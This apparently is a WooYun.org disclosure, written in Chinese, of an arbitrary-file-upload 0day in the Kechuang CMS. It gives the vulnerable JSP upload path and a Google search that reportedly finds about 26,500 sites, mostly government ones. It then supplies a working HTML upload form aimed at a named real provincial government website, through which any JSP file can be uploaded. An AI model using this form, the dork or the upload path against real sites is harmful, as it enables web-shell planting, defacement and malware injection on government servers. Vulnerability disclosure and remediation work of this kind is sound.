WooYun.org

科创CMS上传0day存在位置
/creatorcms/comm_front/email/uploadImageFile_do.jsp
/comm_front/email/uploadImageFile_do.jsp
通过谷歌搜索关键字可以看到相关的政府网站
http://www.google.com.hk/search?hl=zh-Hans-HK&source=hp&q=comm_front%2Femail%2F&gbv=2&oq=comm_front%2Femail%2F&gs_l=heirloom-hp.12...15360.15360.0.16453.1.1.0.0.0.0.0.0..0.0...0.0..0.1c.govyZeEz1ZI

总共有26,500条结果，可以看到政府网站使用科创cms的还是很多的。漏洞文件出在信箱，比如某厅网站为厅长信箱，某局网站为局长信箱，在信箱有一个上传附件，是允许群众上传附件给领导们查看一些相关图片之类的，由于网站程序对上传过滤不严导致了存在可以上传任意文件的漏洞。
漏洞利用方法，本地构造表单，以湖南省农业厅网站做为示例

<form id="frmUpload" enctype="multipart/form-data" action="http://www.hnagri.gov.cn/comm_front/email/uploadImageFile_do.jsp" method="post">
Upload a new file:<br>
<input type="file" name="NewFile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
</form>

通过保存以下代码为HTML文件可以选择任意JSP文件进行上传。

选择好文件点upload可以看到结果。

如图所示，就可以直接上传JSP文件，如果被黑客利用可以导致大规模的政府网站被恶意篡改、挂马。